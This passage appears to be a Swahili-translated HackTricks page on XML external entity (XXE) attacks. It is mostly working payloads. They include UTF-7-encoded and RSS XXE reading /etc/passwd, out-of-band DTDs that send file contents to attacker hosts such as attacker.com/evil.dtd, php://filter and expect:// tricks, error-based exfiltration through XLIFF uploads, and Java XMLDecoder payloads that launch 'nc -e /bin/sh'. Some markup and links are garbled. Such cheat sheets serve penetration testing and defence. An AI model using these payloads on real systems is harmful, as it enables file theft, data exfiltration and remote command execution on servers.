Unaweza kutumia \[**"Mwongozo wa Kubadilisha" wa cyberchef hapa ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) kubadilisha kwa UTF-7.
|
|
```xml
|
|
<!xml version="1.0" encoding="UTF-7"?-->
|
|
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
|
```
|
|
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-7"?>
|
|
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
|
|
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
|
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
|
```
|
|
### Faili:/ Kupuuza Itifaki
|
|
|
|
Ikiwa wavuti inatumia PHP, badala ya kutumia `file:/` unaweza kutumia **php wrappers** `php://filter/convert.base64-encode/resource=` kwa **kupata faili za ndani**.
|
|
|
|
Ikiwa wavuti inatumia Java unaweza kuangalia [**itifaki ya jar**](xxe-xee-xml-external-entity.md#jar-protocol).
|
|
|
|
### Entiti za HTML
|
|
|
|
Mbinu kutoka [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
|
Unaweza kuunda **entiti ndani ya entiti** ikichakatwa na **entiti za html** na kisha kuita ili **kupakia dtd**.\
|
|
Tafadhali kumbuka kuwa **Entiti za HTML** zinazotumiwa lazima ziwe za **nambari** (kama \[mfano huu]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
|
<data>
|
|
<env>&exfil;</env>
|
|
</data>
|
|
```
|
|
Mfano wa DTD:
|
|
```xml
|
|
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
|
|
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
|
|
%abt;
|
|
%exfil;
|
|
```
|
|
## PHP Wrappers
|
|
|
|
### Base64
|
|
|
|
**Chambua** _**index.php**_
|
|
```xml
|
|
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
|
|
```
|
|
#### **Chota rasilimali ya nje**
|
|
```xml
|
|
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
|
|
```
|
|
### Utekelezaji wa kanuni kwa mbali
|
|
|
|
**Ikiwa moduli ya PHP "expect" imepakuliwa**
|
|
```xml
|
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
|
<!DOCTYPE foo [ <!ELEMENT foo ANY >
|
|
<!ENTITY xxe SYSTEM "expect://id" >]>
|
|
<creds>
|
|
<user>&xxe;</user>
|
|
<pass>mypass</pass>
|
|
</creds>
|
|
```
|
|
## **SOAP - XEE**
|
|
```xml
|
|
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
|
|
```
|
|
## XLIFF - XXE
|
|
|
|
Mfano huu unainspira kutoka [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
|
|
|
XLIFF (XML Localization Interchange File Format) hutumiwa kustandardisha kubadilishana data katika mchakato wa uanishaji. Ni muundo uliojikita kwenye XML unaotumiwa hasa kwa kusafirisha data inayoweza kuanishwa kati ya zana wakati wa uanishaji na kama muundo wa kawaida wa kubadilishana kwa zana za CAT (Computer-Aided Translation).
|
|
|
|
### Uchambuzi wa Ombi Bubu
|
|
|
|
Ombi linatumiwa kwa seva na yaliyomo yafuatayo:
|
|
```xml
|
|
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
|
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
|
Content-Type: application/x-xliff+xml
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE XXE [
|
|
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
|
|
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
|
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
|
```
|
|
Hata hivyo, ombi hili linaanzisha kosa la seva la ndani, likitaja hasa tatizo na matangazo ya alama:
|
|
```json
|
|
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
|
```
|
|
Licha ya kosa, hiti imeandikishwa kwenye Burp Collaborator, ikionyesha kiwango fulani cha mwingiliano na kifaa cha nje.
|
|
|
|
Udakuzi wa Data Nje ya Bandari Ili kudakua data, ombi lililobadilishwa hutumwa:
|
|
```
|
|
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
|
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
|
Content-Type: application/x-xliff+xml
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE XXE [
|
|
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
|
|
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
|
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
|
```
|
|
Hii njia inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotambuliwa na toleo hili la Java ni uwezo wa kurejesha faili zinazohusisha herufi mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band.
|
|
|
|
Udhalilishaji wa Data kwa Makosa Ili kushinda kikwazo hiki, njia ya Udhalilishaji wa Data kwa Makosa inatumika. Faili ya DTD imeandaliwa kama ifuatavyo kusababisha kosa ambalo linajumuisha data kutoka kwa faili ya lengo:
|
|
```xml
|
|
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
|
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
|
%foo;
|
|
%xxe;
|
|
```
|
|
Server inajibu na kosa, ikionyesha kwa umuhimu faili isiyopo, ikionyesha kuwa server inajaribu kupata faili iliyotajwa:
|
|
```javascript
|
|
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
|
```
|
|
Kuingiza maudhui ya faili kwenye ujumbe wa kosa, faili ya DTD imeboreshwa:
|
|
```xml
|
|
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
|
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
|
|
%foo;
|
|
%xxe;
|
|
```
|
|
Hii mabadiliko inapelekea kuvuja kwa maudhui ya faili, kama inavyoonekana katika matokeo ya kosa yaliyotumwa kupitia HTTP. Hii inaashiria shambulio la XXE (XML External Entity) lililofanikiwa, likitumia mbinu za Out of Band na Error-Based kutoa taarifa nyeti.
|
|
|
|
## RSS - XEE
|
|
|
|
XML halali na muundo wa RSS kutumia udhaifu wa XXE.
|
|
|
|
### Ping back
|
|
|
|
Ombi rahisi la HTTP kwa seva ya mshambuliaji
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE title [ <!ELEMENT title ANY >
|
|
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
|
|
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
|
|
<channel>
|
|
<title>XXE Test Blog</title>
|
|
<link>http://example.com/</link>
|
|
<description>XXE Test Blog</description>
|
|
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
|
|
<item>
|
|
<title>&xxe;</title>
|
|
<link>http://example.com</link>
|
|
<description>Test Post</description>
|
|
<author>author@example.com</author>
|
|
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
|
|
</item>
|
|
</channel>
|
|
</rss>
|
|
```
|
|
### Soma faili
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE title [ <!ELEMENT title ANY >
|
|
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
|
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
|
|
<channel>
|
|
<title>The Blog</title>
|
|
<link>http://example.com/</link>
|
|
<description>A blog about things</description>
|
|
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
|
|
<item>
|
|
<title>&xxe;</title>
|
|
<link>http://example.com</link>
|
|
<description>a post</description>
|
|
<author>author@example.com</author>
|
|
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
|
|
</item>
|
|
</channel>
|
|
</rss>
|
|
```
|
|
### Soma msimbo wa chanzo
|
|
|
|
Kutumia kichujio cha PHP cha base64
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE title [ <!ELEMENT title ANY >
|
|
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
|
|
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
|
|
<channel>
|
|
<title>The Blog</title>
|
|
<link>http://example.com/</link>
|
|
<description>A blog about things</description>
|
|
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
|
|
<item>
|
|
<title>&xxe;</title>
|
|
<link>http://example.com</link>
|
|
<description>a post</description>
|
|
<author>author@example.com</author>
|
|
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
|
|
</item>
|
|
</channel>
|
|
</rss>
|
|
```
|
|
## Java XMLDecoder XEE to RCE
|
|
|
|
XMLDecoder ni darasa la Java ambalo hujenga vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mwenye nia mbaya anaweza kupata programu kutumia data ya kupindukia katika wito wa njia **readObject**, atapata mara moja utekelezaji wa nambari kwenye seva.
|
|
|
|
### Kutumia Runtime().exec()
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
|
<object class="java.lang.Runtime" method="getRuntime">
|
|
<void method="exec">
|
|
<array class="java.lang.String" length="6">
|
|
<void index="0">
|
|
<string>/usr/bin/nc</string>
|
|
</void>
|
|
<void index="1">
|
|
<string>-l</string>
|
|
</void>
|
|
<void index="2">
|
|
<string>-p</string>
|
|
</void>
|
|
<void index="3">
|
|
<string>9999</string>
|
|
</void>
|
|
<void index="4">
|
|
<string>-e</string>
|
|
</void>
|
|
<void index="5">
|
|
<string>/bin/sh</string>
|
|
</void>
|
|
</array>
|
|
</void>
|
|
</object>
|
|
</java>
|
|
```
|
|
### ProcessBuilder
|
|
|
|
### MchakatoJenga
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
|
<void class="java.lang.ProcessBuilder">
|
|
<array class="java.lang.String" length="6">
|
|
<void index="0">
|
|
<string>/usr/bin/nc</string>
|
|
</void>
|
|
<void index="1">
|
|
<string>-l</string>
|
|
</void>
|
|
<void index="2">
|
|
<string>-p</string>
|
|
</void>
|
|
<void index="3">
|
|
<string>9999</string>
|
|
</void>
|
|
<void index="4">
|
|
<string>-e</string>
|
|
</void>
|
|
<void index="5">
|
|
<string>/bin/sh</string>
|
|
</void>
|
|
</array>
|
|
<void method="start" id="process">
|
|
</void>
|
|
</void>
|
|
</java>
|
|
```
|
|
## Vifaa
|
|
|
|
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
|
|
|
|
## Marejeo
|
|
|
|
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
|
|
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
|
|
* Pata habari kupitia HTTP kwa kutumia DTD ya nje: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
|
|
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
|
|
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
|
|
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
|
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
|
|
|
|
|
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|